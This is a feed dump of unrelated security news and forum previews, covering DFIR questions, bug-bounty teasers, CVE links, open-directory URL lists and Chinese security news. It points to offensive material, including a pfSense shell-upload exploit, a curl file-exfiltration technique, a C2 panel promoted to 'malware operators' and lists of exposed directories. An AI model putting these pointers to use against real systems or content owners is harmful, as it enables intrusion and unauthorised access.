Article URL: https://packetstormsecurity.com/files/166208/pfSense-2.5.2-Shell-Upload.html Comments URL: https://news.ycombinator.com/item?id=30557143 Points: 10 # Comments: 0

Mnemosyne：一个高效的水坑攻击调查取证系统 by ourren GoDLP: 敏感信息保护系统 by ourren Make JDBC Attacks Brilliant Again 番外篇 by ourren Attack Flow — Beyond Atomic Behaviors by ourren 更多最新文章，请访问SecWiki

Mnemosyne：一个高效的水坑攻击调查取证系统 by ourren GoDLP: 敏感信息保护系统 by ourren Make JDBC Attacks Brilliant Again 番外篇 by ourren Attack Flow — Beyond Atomic Behaviors by ourren 更多最新文章，请访问SecWiki

Article URL: https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/ Comments URL: https://news.ycombinator.com/item?id=30556188 Points: 91 # Comments: 58

steps to run before forensic analyze: turn off screenlock, turn off backup, turn off find my iphone, what else? submitted by /u/cyberfo [link] [comments]

I've been working in eDiscovery and forensics for about three years, mostly lit support and low-level investigations. I hold CFCE and CCE certs. Currently enrolled in Champlain and I'll be wrapping up my B.S. in Computer Forensics and Digital Investigations. I'm located in an HCOL area and thinking of transitioning to a different company due to pay disparity. IR is in greater demand, so I imagine I'll be able to leverage more money in that field. What steps (training, certs, etc.) should I take to prepare myself if I decide to change my focus to DFIR? submitted by /u/stickyricky714 [link] [comments]

submitted by /u/KTthemajicgoat [link] [comments]

submitted by /u/kramps_ [link] [comments]

WebSocket, client ile server arasında veri aktarımını sağlayan çift yönlü ve modern web uygulamalarında yaygın olarak kullanılan HTTP gibi… Continue reading on Medium »

Clickjacking, saldırgan tarafından web uygulamasında barındırılan zararlı bir bağlantıya, hedef kullanıcının tıklaması sonucunda çeşitli… Continue reading on Medium »

CORS (Cross-Origin Resource Sharing / Kökenler Arası Kaynak Paylaşımı), belli bir domainin dışındaki kaynaklara kontrollü erişim sağlayan… Continue reading on Medium »

Take your time and start learning from these Resources. Continue reading on Medium »

Probably the most covered topic in bug bounty hunting and web apps is subdomain enumeration. Continue reading on Medium »

Bug bounty platforms and programs Continue reading on System Weakness »

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

总结推荐本周的热点资讯、优质文章和省心工具，保证大家不错过本周的每一个重点！

近日，Avast发布了免费的HermeticRansom勒索软件解密工具，只为帮助遭受勒索威胁的乌克兰受害者恢复数据。

一次简单渗透测试的总结

《规定》明确指出，在我国境内提供操作系统、终端设备、应用软件、网站等服务的，开展互联网弹窗信息推送服务时应当遵守本规定。

Hello everyone, I know this has been asked before however I’m going to build a forensics workstation for my department; we don’t have a lot of money to throw around to do a dual CPU set up. I was wondering if anyone would recommend the newest I9-12900k CPU for processing, or any other processor for the most efficient in imaging. I mainly use Magnet Axiom and cellabrite. One thing I’m having trouble with is finding a good MOBO, what would you all recommend, I need enough ports for a write blocker and multiple HDDS, and M.2 SSD’s. Thanks submitted by /u/ExiisTT [link] [comments]

Good day, all! I am working with a MS Surface Go 2. I have/had the PIN to access the device. I I did obtain a memory capture and logical image of the C: drive using FTKi. After obtaining that data, I tried to boot into Paladin but it would not load/boot. I went into the UEFI and disabled the Secure Boot option, knowing this may cause the device to become bitlocked - which it did, but did allow Paladin to boot. As I do 99% phones, this one is throwing me for a loop and I am seeking some guidance. I am now able to image the drive using Paladin, but obviously it will be bitlocked. The recovery key "should" be captured in the RAM, right? And if so, how do I decrypt the data once loaded (or before). I would be using Axiom to load the data. Thanks in advance for any insights and help! submitted by /u/Responsible_Dig_2899 [link] [comments]

Hi how can I investigate executed malicious file like maldoc or any execruable. How to get the list of artificates? Thanks submitted by /u/0X900 [link] [comments]

Does Cellebrite support file system extraction for deleted file? if yes, do we need to root the iphone or Android phone for data extraction? submitted by /u/cyberfo [link] [comments]

Quote from article: What we have then discovered, is that in most cases, external portable devices are not properly reported in Windows, at least insofar as what regards a Serial Number. This becomes incredibly problematic when your forensic reports says that the device serial number is “ABCD”, and an opposing expert says it is “EFGH”. Who is right? It is tough to convince a court that your tool is right and the label from the manufacturer is wrong. Are you examining a plastic container? Or are you examining a hard drive? What you do matters. Lives are affected by the work of digital forensics practitioners. https://www.computerpi.com/the-truth-about-usb-device-serial-numbers-and-the-lies-your-tools-tell/ submitted by /u/Erminger [link] [comments]

How to detect data exfiltration to external USB drive through $MFT, thanks submitted by /u/cyberfo [link] [comments]

submitted by /u/Jumpy_Resolution3089 [link] [comments]

submitted by /u/Goovscoov [link] [comments]

submitted by /u/CyberMasterV [link] [comments]

submitted by /u/almostfamous [link] [comments]

INTRODUCTION: Continue reading on Medium »

Tryhackme: Searchlight — IMINT Continue reading on Medium »

Cualquier amante de la ciberseguridad conoce el motor de búsqueda Shodan, pero ¿sabrías utilizar los parámetros adecuados para “Dorkear… Continue reading on Medium »

¿Are u re4dy? Continue reading on Medium »

Google Hunt Tool Continue reading on System Weakness »

(LET’S EXPOLRE HIDDEN FILES) Continue reading on Medium »

Hacken ekibi kısa süre önce, Rusya’nın Ukrayna’yı işgalinin başlangıcından bu yana CEO’muz Dyma Budorin ile ilk AMA oturumunu düzenledi… Continue reading on Medium »

Self Introduction : Continue reading on Medium »

Programming languages come in two categories: Hard/Strong Typed Soft/Weak Typed Continue reading on Techiepedia »

Vulnerability Category: A6- Security Misconfiguration Continue reading on Medium »

Continue reading on Medium »

Uber disclosed a bug submitted by johnzilla313: https://hackerone.com/reports/1496297

Ruby on Rails disclosed a bug submitted by nagli: https://hackerone.com/reports/1429148

Mail.ru disclosed a bug submitted by smallyu: https://hackerone.com/reports/1400197

submitted by /u/Pablouchka [link] [comments]

https://www.baldactors.com/wp-content/uploads/2016/03/ submitted by /u/SnooObjections8515 [link] [comments]

Seems like my post has been deleted again... Why not just take out the links that offend... Personal info is not personal if it is on the web... So Here is some funny... http://www.p14nd4.com/ars/ Starts here... http://www.thedevilsdue.us http://www.thedevilsdue.us/!.Music/AllMusic/!.DW.80GB/My%20Music/ music http://alliza.iptime.org/mobile/%c8%a8%c6%fa%b4%f5/%c1%c1%c0%ba%c0%da%b7%e1%bd%c7/%c0%bd%be%c7%c0%da%b7%e1%bd%c7/ http://iama.stupid.cow.org/Audio/ https://video.donaldandcheryl.net/Funny/ ​ https://simpsons.porn/assets/images/ ​ http://edmazur.com/images/funny/ ​ http://fricking.ninja/Media/photo_comments/mp4/ ​ http://www.kyudan.com/funny/Corel%20Auto-Preserve/ http://www.kyudan.com/funny/img/ ​ images... https://alt-tab.org/data/images/ submitted by /u/xanderTgreat [link] [comments]

https://www.origamiway.com/printable-origami-paper/ submitted by /u/shaburushaburu [link] [comments]

Unless otherwise noted, changes described below apply to the newest Chrome beta channel release for Android, Chrome OS, Linux, macOS, and Windows. Learn more about the features listed here through the provided links or from the list on ChromeStatus.com. Chrome 100 is beta as of March 3. 2022. You can download the latest on Google.com for desktop or on Google Play Store on Android. Last Version for Unreduced User-Agent String Chromium 100 will be the last version to support an unreduced User-Agent string by default (as well as the related navigator.userAgent, navigator.appVersion, and navigator.platform DOM APIs). The origin trial that allowed sites to test the fully reduced User-Agent will end on April 19, 2022. After that date, the User-Agent String will be gradually reduced. To review …

近日，Spring官方发布了关于Spring Cloud Gateway的CVE报告，其中包含Spring Cloud Gateway 远程代码执行漏洞（CVE-2022-22947）。攻击者可通过该漏洞恶意创建允...

近日，Spring官方发布了关于Spring Cloud Gateway的CVE报告，其中包含Spring Cloud Gateway 远程代码执行漏洞（CVE-2022-22947）。攻击者可通过该漏洞恶意创建允...

submitted by /u/SCI_Rusher [link] [comments]

CVE-2022-0492 is the third recent kernel vulnerability that allows malicious containers to escape. We offer root cause analysis and mitigations. The post New Linux Vulnerability CVE-2022-0492 Affecting Cgroups: Can Containers Escape? appeared first on Unit42.

SWE but no idea why I keep getting a red message in chrome when i try to go to websites i normally go to submitted by /u/oaxac9 [link] [comments]

One of my family has been complaining about her phone being always laggy. Which shouldn't happen because she uses a relatively new device? Well, there is also a possibility that she doesn't kill background possesses. But lately, I have been noticing the network becomes really laggy (supposedly it's not because of Ukraine?), and sometimes it just completely shut down/disconnects. Since we share the same wifi, are there any things I can do? Something to suggest to her, or for me to avoid getting infected, just in case. Thank you in advance! edit: I'm not sure if I should also include this but. I have a windows tablet and a Linux desktop that connects to the router through ethernet all the time. To be honest, I am not even sure if it can effect me in anyway, since I'm not educated at all in cybersecurity. Hopefully I'm just paranoid? Just to be sure haha, sorry for random posting. submitted by /u/manho1e [link] [comments]

I mean if the websited forced a download of a file, sorry, no force thing. I noticed today that my hosts file was modified and was 127.0.0.1 suspiciousaddress. I checked the address on web scanners and said clean but that it had an ascii file, small, 170 characters, maybe a script? I by mistake put the address on google and the browser tried to open it, I closed it and my internet crashed as soon as I did that so now I'm worried. I also tried to enter using the ip and not the dns and got a message but didnt wrote it down. I'd like to check if the website is downloading something on my pc, some script etc, or what else can I do? ​ Thanks in advance. submitted by /u/HeroOfTheNorthF [link] [comments]

I would like to check if malware could affect my main system (Silverblue), if I run windows or other linux distro via gnome boxes - could malware get into main os? If it could get affected, then would having amnesic help? I was reading how in some cases paging/ram could get copied into hard disk. So not sure. submitted by /u/AtomicFurion [link] [comments]

Hi guys, I'm going to build a simple home lab on a budget . Need recommendations regarding easy to deploy sandbox. What's your favorite sandbox and why? submitted by /u/breadcrumb2000 [link] [comments]

从网络空间认知战到对俄大规模网络致瘫攻击 by ourren 移动GS3101光猫分析 —— 狸猫换太子 by ourren 跟着三梦学Java安全：半自动挖洞 by ourren TA402 针对中东目标持续发起攻击 by Avenger 更多最新文章，请访问SecWiki

从网络空间认知战到对俄大规模网络致瘫攻击 by ourren 移动GS3101光猫分析 —— 狸猫换太子 by ourren 跟着三梦学Java安全：半自动挖洞 by ourren TA402 针对中东目标持续发起攻击 by Avenger 更多最新文章，请访问SecWiki

There are two common reasons you may want to change a user’s password during a penetration test: You have their NT hash but not their plaintext password. Changing their password to a known plaintext value can allow you to access services in which Pass-the-Hash is not an option. You don’t have their NT hash or... The post Manipulating User Passwords Without Mimikatz appeared first on TrustedSec.

在俄乌冲突升级背景下，美国参议院选择一致通过《加强美国网络安全法》。

网络钓鱼（Phishing，与钓鱼的英语fishing发音相近，又名钓鱼式攻击），通过冒充银行或其他知名机构向受害者发送欺骗性邮件，引诱收信人提供自己的敏感信息（如用户名、口令、ATM交易密码或

数据泄漏和影子资产是全球大型组织面临网络攻击的最大来源。

它主要通过微软的应用商店以计算机木马游戏应用程序的形式入侵。

隶属于匿名者的黑客组织宣布关闭俄罗斯航天局的控制中心。

俄罗斯总统普京宣布在乌克兰东部的顿巴斯地区进行特别军事行动。除了现实热战争以外，俄罗斯-乌克兰之间的“网络战”其实早已拉开序幕。

给积极防御人员的对手交战指导建议

3月2日上午，为期两天的「CIS 2021网络安全创新大会Spring·春日版」在上海宝华万豪酒店开启线下录制。

虚拟货币已成为BO彩平台充值、提现通道的“宠儿”，原先占主要地位的微信、支付宝等第三方充值方式，在某些BO彩平台逐渐销声匿迹。

有人对于HTTP和HTTPS，发出了疑问，小编收集了几个常见的问题，为您解答，希望在最大程度上帮助到您，让您更深层次了解HTTP与HTTPS。

最近，APT29 又转换了攻击目标，将视线从SloarWinds转移到了大使馆。

IcedID 是最早在 2017 年被披露的模块化银行木马，也是近年来最流行的恶意软件家族之一。

数据分类分级能够有效促进金融数据在机构间、行业内的安全共享，有利于金融行业数据价值的挖掘与实现。

TikTok disclosed a bug submitted by datph4m: https://hackerone.com/reports/1475520 - Bounty: $5000

TikTok disclosed a bug submitted by lu3ky-13: https://hackerone.com/reports/1378533 - Bounty: $500

Pornhub disclosed a bug submitted by wh0ru: https://hackerone.com/reports/1354161 - Bounty: $750

Hello everyone! Today im going to explain how i found a 4300$ IDOR Bug on Instagram. Continue reading on Medium »

1. Nmap (Network Mapper) Continue reading on Medium »

What is the John The Riper? Continue reading on Medium »

Hello, Continue reading on Medium »

Hello people, it’s me again. In most cases, with automated tools, you can possibly find low level security bugs i.e most likely Blind XSS… Continue reading on Medium »

I was trying to improve my static analysis code, specifically django apps, so i decided to hack a random project in github. And i found… Continue reading on Medium »

As the Pandora community continues to grow stronger with each passing day, we would like to take this opportunity to thank everyone for… Continue reading on Pandora Protocol »

Secrets in code Continue reading on CodeX »

Vulnerability Category: Business Logic Error Continue reading on Medium »

Cre : https://medium.com/@fcwdbrqmr/400-bounty-again-using-google-dorks-6dc8e438f017 Continue reading on Medium »

Hi there, hoping some of you are Magnet Axiom users and may be able to help me with this conundrum I have *some nonessential information has been altered for protection*: I have received a Portable Case from someone who has full license to the platform. I understand how the Portable Case is created (via watching the Magnet tutorial videos). The Portable Case is supposed to contain the contents of John Doe's cell phone. Separately, I have Snapchat Returns for John Doe's Snapchat account, and as far as is known John Doe only owned the one aforementioned cell phone. In looking at the Artifacts in the Portable Case, there seem to be things missing. For example: The Portable Case is supposed to cover a time period of 01/01/2XXX through 05/15/2XXX. When comparing the Snapchat Returns > Snapchat Memories I am able to see a specific video file - I'll call it "Selfie A" - from 02/03/2XXX 08-48-56 UTC. But when looking at the Portable Case > CHAT > Snapchat Memories artifacts there is no corresponding artifact. There are other video artifacts from that same date and around that time, but not "Selfie A." There are many files I have identified with this same issue. So now the question: I will admit I have not had formal training on Axiom (nor am I a digital forensics professional by trade) so I am willing to withhold suspicion for now, but, is it possible that artifacts could appear from Snapchat Returns that were missed in Axiom? Maybe "Selfie A" was deleted from the phone so it doesn't appear in Axiom but it does appear in the Returns data from Snapchat? (I hate even typing that question because I know even "deleted" things can be forensically recovered but go with me here). Or, is it more likely that the "Selfie A" artifact is visible in the Snapchat Returns but not in the Portable Case because the creator of said Portable Case chose not to include the artifact? submitted by /u/mclaughlinkessell [link] [comments]

Hi all, I have just enrolled for the SEC599 (OnDemand) and will be going through the GDAT exam as well. Are there any tips which could help me prepare better and pass the exam? My intro - Have been into SOC and IR for 5+ years now, and this is going to be my first certification submitted by /u/Suchi-Bee [link] [comments]

Hey Guys I work in law and as you probably have experienced we are stunningly ignorant on computer forensics. When I have a bit of time I like to research various computer forensic things and evidence from browsers are quite fascinating to me. I have two questions that I'd love help answering. 1) I'm assuming that this is a stupid/ basic question but I read that pictures in the cache are copies of the original essentially and as such they would contain meta data like locations and so on, is that also correct for stuff in the pagefile? 2) I've messed around with the belkasoft software trail run to view the pagefile on my PC, the categories that the data is broken up into is fairly understandable browsers, instant messengers. And they contain images and urls. However there is a category called other files and I'm not sure what is contained in them? submitted by /u/curiousstudent99l [link] [comments]

​ ​ https://46.mangovideo.pw/contents/videos/ http://server217.mangovideo.pw/contents/videos/ https://177.mangovideo.pw/contents/videos/ https://68.mangovideo.pw/contents/videos/ https://server9.mangovideo.pw/contents/videos/ https://45.mangovideo.pw/contents/videos/ https://new.mangovideo.pw/contents/videos/ https://5.mangovideo.pw/contents/videos/ https://234.mangovideo.pw/contents/videos/ https://183.mangovideo.pw/contents/videos/ https://31.mangovideo.pw/contents/videos/ https://60.mangovideo.pw/contents/videos/ https://s10.mangovideo.pw/contents/videos/ https://183.mangovideo.pw/contents/videos/ submitted by /u/TiThelis [link] [comments]

submitted by /u/throwaway176535 [link] [comments]

A tech at Verizon put his personal SIM in my phone to see if it could support the network. I'm attempting to change from ATT to Verizon on my unlocked android phone. A little while later, a notification from google that his personal phone number has been added to my Google account(s), alongside my own phone #. Does this mean that you can access someone's Google account(s) by surreptitiously inserting a SIM into their phone, even if you don't have their pin# or severed finger? submitted by /u/Dougolicious [link] [comments]

I recently disclosed a unauthenticated RCE to a company that provides virtual network appliances, the process was going good and they patched the vulnerability, but upon my request for patch release/notes they ghosted me. I already have CVE numbers assigned but would like to have mitre publish them but don't know what to do if the company is not being cooperative, anyone have any suggestions? submitted by /u/BasedThug [link] [comments]

I have 6 years of experience as a software engineer, and recently started working as an Application Security Engineer doing mostly static and dynamic analysis of our apps. I have plenty of books and online courses to work through, and recently started tinkering with HackTheBox. I thought about pursuing the OSCP cert. Realistically with a full-time security job and other obligations I probably won't be able to commit all my spare time to this, so the 30/60/90 day lab access periods probably won't be enough time to finish the course. The 1 year long lab access is $2500, which is quite a steep price. I'm curious to know if the OSCP training will benefit me in a way that my job and HackTheBox won't. submitted by /u/cppnewb [link] [comments]

Hi , I'm working for a company which is ISO 27001:2013 certified and i was asked to do a GAP analysis on ISO 27001:2021 stranded. So If there are any useful article or any references , please share it. TIA submitted by /u/darkwolf-95 [link] [comments]

Hey all, Wondering what your thoughts are on kaspersky as an AV tool, and as a company given recent events. Do you think with all the independent reviewers that they could still be compromised by say KGB/Russian government? Sorry, not trying to be political, but the recent events can be directly tied to multiple netsec topics. submitted by /u/Fizgriz [link] [comments]

submitted by /u/mufinnnnnnn [link] [comments]

submitted by /u/CyberMasterV [link] [comments]

submitted by /u/oldrobgin [link] [comments]

submitted by /u/cyberbutler [link] [comments]

合作方数据安全闭环管理实践 by ourren 更多最新文章，请访问SecWiki

合作方数据安全闭环管理实践 by ourren 更多最新文章，请访问SecWiki

This post outlines techniques to exfiltrate files using curl and encode, encrypt, and save captured files using a custom Flask Web Server Continue reading on Maveris Labs »

No content preview

No content preview

No content preview

One fine day I was Scrolling through tweets and my eyes got a tweet that Dan Conn tweeted a osint challenge on Oct 5, 2021 mentioning his… Continue reading on Medium »

Maltego is a tool for OSINT and visual link analysis. It can pull data from multiple sources to explore the properties of entities and the… Continue reading on Medium »

Our recent articles mostly tell about Lampyre’s OSINT capabilities. This one will be different as it describes the data analysis side of… Continue reading on Medium »

Scans of more than 200,000 infusion pumps on the networks of hospitals and other healthcare organizations found 75% had known security gaps. The post Know Your Infusion Pump Vulnerabilities and Secure Your Healthcare Organization appeared first on Unit42.

苹果表示，在俄罗斯对乌克兰发动攻击后，它已经停止在俄罗斯销售其产品并限制苹果支付功能。

挖矿木马最大的一个特征就是cpu资源占用非常高，top命令查看cpu情况，可以看出xmr这个进程占用cpu资源很高。

截至目前，尚有107款APP未完成整改，洋码头、中公教育等APP在列。

Is this even possible? I was given the material yesterday. I have some training under my belt, but overall still a noob when it comes to DFIR. Currently sitting through a 6 day course with a SANS instructor, but I feel like I am getting the exact same information from just reading the books. My experience in IT is less than 2 years and all training. Sec+ being my only previous cert. submitted by /u/SnooDogs3246 [link] [comments]

This is where all non-forensic data recovery questions should be asked. Please see below for examples of non-forensic data recovery questions that are welcome as comments within this post but are NOT welcome as posts in our subreddit: My phone broke. Can you help me recover/backup my contacts and text messages? I accidently wiped my hard drive. Can you help me recover my files? I lost messages on Instagram, SnapChat, Facebook, ect. Can you help me recover them? Please note that your question is far more likely to be answered if you describe the whole context of the situation and include as many technical details as possible. One or two sentence questions (such as the ones above) are permissible but are likely to be ignored by our community members as they do not contain the information needed to answer your question. A good example of a non-forensic data recovery question that is detailed enough to be answered is listed below: "Hello. My kid was playing around on my laptop and deleted a very important Microsoft Word document that I had saved on my desktop. I checked the recycle bin and its not there. My laptop is a Dell Inspiron 15 3000 with a 256gb SSD as the main drive and has Windows 10 installed on it. Is there any advice you can give that will help me recover it?" After replying to this post with a non-forensic data recovery question, you might also want to check out r/datarecovery since that subreddit is devoted specifically to answering questions such as the ones asked in this post. submitted by /u/AutoModerator [link] [comments]

Last week we ran a stream about forensic hardware and got A LOT of general digital forensic questions. It might be interesting to anyone new to computer forensics. Use the chapter times in the video description to jump around. We also talk about hardware write blockers and forensic imagers. https://youtu.be/O1bZvGqmP1Y submitted by /u/DFIRScience [link] [comments]

Hello everyone! I have worked in infosec and IT for 6 years in incident response roles for companies ranging from startups to fortune 50. I currently work at a startup local cybersecurity firm where I am an incident response engineer and consultant. I handle everything on the IR side including ransomware cases, business email compromise, data theft, threat hunting, and compromise assessments. I also have my GSEC, GCIH, GCFE, and GCFA certifications. I love what I do, but I am burnt out. I’m tired of being on call 24/7/365, never being able to bring any of the criminals I work against to justice, and much more. My family and I are settling down, and I am interested in transitioning to a more traditional digital forensics role working on criminal cases. I want to have a more steady, stable case load, and actually see the results of my work helping bring people to justice. I was wondering if any of you have made a similar transition, and if there are any recommendations or insights that could help me make this switch. I have read the FAQ here and am looking for new jobs in this space, but would love to get some input from this community. Any thoughts? submitted by /u/horizon44 [link] [comments]

A customizable hash list is a must! Thanks submitted by /u/DHZX [link] [comments]

submitted by /u/Flaky_Tonight3305 [link] [comments]

Anybody know where there is an updated version of the open directories addon for Kodi? We had an addon for Kodi version 18 Leia, but since that version relied on python 2, we now need an updated version for python 3. Or something similar. submitted by /u/studio222 [link] [comments]

http://ftp.kameli.net/pub/pkpvideos/ submitted by /u/inoculatemedia [link] [comments]

The sites seem to be down but I will provide the links in case they are back on. https://old.economy.gov.ru/minec/resources/ https://old.economy.gov.ru/wps/wcm/connect/economylib4/designElements/resources/ These are the tweets that link me there: https://twitter.com/youranonone/status/1498685800241934342?s=21 https://twitter.com/anonymous_link/status/1498607316836536320?s=21 submitted by /u/__babygiraffe__ [link] [comments]

I read two books about web application security. Web Application Security: Exploitation and Countermeasures for Modern Web Applications Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities But I didn't practice enough. I have multiple options to practice it Port Swigger Web Security Academy bWAPP Vulnerability Disclosure Programs on HackerOne As I said I already read books about this topic, maybe I don't need to read PortSwigger Academy Articles. bWAPP is good but it consists lots of vulnerabilities and I can't figure out how to prepare a work plan for that (Because of vulnerability count and expertise levels). VDPs on HackerOne are good because they are real-life challenges but I don't even know I am ready or not for testing real applications. I am open to any advice. submitted by /u/pacman0026 [link] [comments]

I am looking for a solution to work with and detonate potentially malicious files & malware. A isolated (from rest of LAN) malware sandbox .. with Internet access. I have been considering a Type 2 hypervisor such as VirtualBox running Windows 10 Pro. it seems if I go with this solution I may need a 2nd VM running a Firewall to ensure the Win10VM cannot spread malware to other devices on the LAN. Seeking input on other methods or options to build such a environment. submitted by /u/q_logsource [link] [comments]

Hello. I want to use Azure Kubernetes environment for running Azure DevOps build agents. Besides, tried to make the environment secure, by following the principle of least privilege. As a result - Dockerfile and Pod's definition which runs container as an unprivileged user (nobody) on a read only filesystem (except /tmp and /azp paths). What else could be done to improve environment's security? submitted by /u/groovy-sky [link] [comments]

Currently I work as SOC analyst, I do like studying and coding, so after work I usually study some stuff related to security, but from time to time I find myself starting new courses without finishing anything, and read about different topics, but can't focus, which waste much time and effort. I'm not sure if anyone else faces the same issue and how can I focus more? submitted by /u/xoutisx [link] [comments]

Specifically, imagine a Virtual Reality tool that would allow you to navigate your entire network in a three dimensional space, to detect vulnerabilities and such. The first barrier that comes to mind would be cost of equipment, especially if organizations need to buy multiple headsets for their employees. But what other barriers do you forsee? VR is already pretty popular, so I'm surprised its not already more adopted in this space. Disclaimer: I work for a VR startup in the NetSec space and we are trying to gather feedback from NetSec professionals. You can visit our website if you want to learn more, we are offering headsets in exchange for good user feedback. There's a survey link on our contact us page: https://valkure.com TIA submitted by /u/loshofficial [link] [comments]

Anyone ever experience this? I'm the last technical infosec person left on a former team of ~14 people. Now we have replaced the entire infosec team with IT/non-infosec people, who are all basically entry-level in infosec, although they may have skills in other areas such as IT/cloud. I feel genuinely concerned because it's clear none of them have the skills, knowledge or experience to do anything in these job functions security wise. They are just having tons of random meetings to try and figure out what to do next, and not actually getting anything done. They've been "talking" about what to do for 9 months. It's starting to feel like a scam, and I'm having to hold people's hands with extremely basic scripting and technical tasks. At first it was cool, because I had the opportunity to mentor them, but NOTHING is getting done. What the hell is going on? submitted by /u/netipotty [link] [comments]

I'm concerned about malware which uses DNS channels to communicate home. I'm thinking about ways to mitigate this threat for my servers, and the most obvious measure that comes to mind, is to have my DNS resolver block recursive lookups to zones which are not whitelisted. So, the plan is to (1) make my firewall block all DNS traffic from my server except to my own resolver, and (2) have my own resolver block all lookups to non-whitelisted zones. So e.g., a lookup to *.microsoft.com would be recursively resolved, but not a lookup to *.evildomain.com. When Google searching for ways to mitigate DNS tunneling, this is not a commonly suggested countermeasure. Most blogs and articles answer this question by referring to some expensive, "smart", enterprisey DNS filter. Is my countermeasure less easy than it sounds? If not, why is this countermeasure not more common? submitted by /u/engineerL [link] [comments]

Every job has pros and cons. What do you think about being a SOC analyst? A lot of people are saying about stress and over working. Maybe it's not worth being a SOC analyst? What do you guys think? submitted by /u/umuttosun [link] [comments]

So if I remember well, a few years ago there were dedicated scripts and binaries to test if your AV/EDR works well, but I can’t find that anywhere. Do you have recommendations for that? What I’d like is to go a bit further than just compiling and running netcat/mimikatz… which would not involve running MSF modules at all. submitted by /u/EsreverEngineering [link] [comments]

https://www.reddit.com/r/audit/comments/t47la5/not_getting_methodological_approach_to/ submitted by /u/whatusernameiscool [link] [comments]

I've always been puzzled by the idea that hackers are vulnerable themselves? Like how can one say they are 100% defended from counter-attack? In any reading/research on cyber-defence I've ever done, the idea is you can never be 100% secure. Is it like an arms race of being "cleverer" than whoever might be on the counter-attack? Not sure if anyone can shed insight on this - thanks \editing post to say you can never be 100% secure, previously I had 10%) submitted by /u/mdgsec [link] [comments]

I'm relatively inexperienced at security and am trying to improve my skills. I have a custom made IOT device at home which I am trying to find vulnerabilities in and am looking for suggestions of what to investigate. I scanned with nmap using script=vulners. Only port 22 is open and there are a few vulnerabilities (OpenSSH 7.9p1) but nothing very promising as far as I can tell. Brute-forcing the SSH password using Hydra is also not very promising as it is fairly slow and I know the device has a reasonably complex password which is not in common password lists like rockyou. Any suggestions on other approaches to find vulnerabilities in the device? submitted by /u/MrKhutz [link] [comments]

I was asked the question what vulnerability sweeping, but I can't seem to find a definitive answer for it, only definitions for vulnerability scanning. submitted by /u/pleaseweallneedhelp [link] [comments]

the discursus Protest Analytics newsletter, March 1st, 2022 edition. Continue reading on discursus.io »

A critical update has come across my feed. The New York Times lost the lede in a story today. Continue reading on Medium »

How to use Google Reverse Image Search to verify the source of photos from Ukraine Russian conflict. Continue reading on Medium »

submitted by /u/SRMish3 [link] [comments]

submitted by /u/MiguelHzBz [link] [comments]

submitted by /u/nathanAbejeM [link] [comments]

submitted by /u/f3d_0x0 [link] [comments]

submitted by /u/hardenedvault [link] [comments]

Este artigo tem como objetivo reforçar a importância da realização do hardening e/ou revisão de segurança antes de colocar um servidor de… Continue reading on 100security »

This blog provides a detailed analysis of anydesk application that has been trojanized and distributed from a ranked unofficial website… Continue reading on Medium »

While testing a web application that used a web GUI over the top of an API, I noted the calls to the API where authorized with a JWT token… Continue reading on Techiepedia »

This is not an accurate path for an ethical hacker. Continue reading on Medium »

Vulnerability Category: A6- Security Misconfiguration Continue reading on Medium »

Few weeks back, I too faced the same situation. Tried multiple ways to upgrade my Nuclei version but it just got stuck at version 2.2.0… Continue reading on Medium »

Hello readers, in this post, we’ll look at XSS and Apache Server furthere on apache server I will post another article. Continue reading on Medium »

聊一聊《Bvp47 美国NSA方程式的顶级后门》中的BPF隐藏信道 by ourren DICOS：在Stack Overflow社区不安全代码发现方法 by ourren 2022年最热安全技术"BAS"详解 by ourren 更多最新文章，请访问SecWiki

聊一聊《Bvp47 美国NSA方程式的顶级后门》中的BPF隐藏信道 by ourren DICOS：在Stack Overflow社区不安全代码发现方法 by ourren 2022年最热安全技术"BAS"详解 by ourren 更多最新文章，请访问SecWiki

在线社交网络 (OSN) 是用于共享各种数据（包括文本、照片和视频）的流行应用程序。 然而，假账户问题是当前 OSN 系统的障碍之一。 攻击者利用虚假帐户分发误导性信息，例如恶意软件、病毒或恶意 UR

《规定》明确，应用算法推荐技术，是指利用生成合成类、个性化推送类、排序精选类、检索过滤类、调度决策类等算法技术向用户提供信息。

就在Conti 勒索组织选择支持俄罗斯之后，一名乌克兰籍的成员泄露了6万多条Conti 勒索组织内部聊天的消息。

微软透露，在入侵前几个小时，乌克兰实体成为了先前未被发现的恶意软件 FoxBlade 的攻击目标。Microsoft 威胁情报中心 (MSTIC) 继续调查针对...的攻击。

AON披露他们在2022年2月25日遭受了网络攻击，在报告中，除了发生攻击并影响了有限数量的系统外，AON 没有提供额外的消息。

因为丰田汽车提供内外饰塑料部件的供应商小岛工业因遭网络攻击，丰田在日工厂从3月1日起暂停生产。

网络战已经发展成与海、陆、空、天等领域具有相同的领域地位，也被列为“第五战场”。

If you're a malware operator who likes to Rush B and want to manage your victims while playing games, this is for you. https://www.youtube.com/watch?v=b2L1lWtwBiI&t=1s https://twitter.com/kaganisildak/status/1498585440680656896 submitted by /u/kaganisildak [link] [comments]

Acronis disclosed a bug submitted by hatnare: https://hackerone.com/reports/1486341

Article URL: https://hardenedvault.net/2022/03/01/poc-cve-2021-26708.html Comments URL: https://news.ycombinator.com/item?id=30511060 Points: 2 # Comments: 0

Hi, I am starting windows security research to understand how windows internals works and how one can exploit it. If anyone interested he/she can DM me submitted by /u/i_whiteheart [link] [comments]

Article URL: https://eprint.iacr.org/2022/208.pdf Comments URL: https://news.ycombinator.com/item?id=30510543 Points: 1 # Comments: 0

Hi all, This video covers what the essential mindsets are to be an effective SOC analyst. It covers WHAT the mindsets are, WHY they are relevant to a SOC analyst, and HOW these mindsets can be developed. This is far more important than technical skills which can be taught. So, if you are a ‘new’ or aspiring analyst, or an experienced senior analyst, or even if you are on the periphery of cyber security in IT or are just curious, this video will have something for you. Happy Cybering! https://youtu.be/HOFfYUd7DbE submitted by /u/SyPy [link] [comments]

I'm a new graduate and I had a job interview for a soc analyst position, one of the question that kinda confused me is "how do you identify and deal with phishing emails?". First I answered with the basic clues: weird email address; unknown domain; bad grammar/spelling; no asking for sensitive data; no shady urls/files and use plugins to analyse the emails. But they told me what if the email seems perfect, like a gmail domain, good spelling and formatting and no urls or files attached. In my mind I'm thinking so how is this a phishing email if there is nothing suspicious in it. But I still tried to answer saying that you can teach your employees to be aware of such emails and to report them to the security team in case they find a suspicious email.They answered what if they company has thousands of employees, how is the security team gonna deal with potential hundreds of emails from the employees. At this point I got nothing else to say, what am I supposed to answer in this situation? thanks. submitted by /u/Dalleuh [link] [comments]

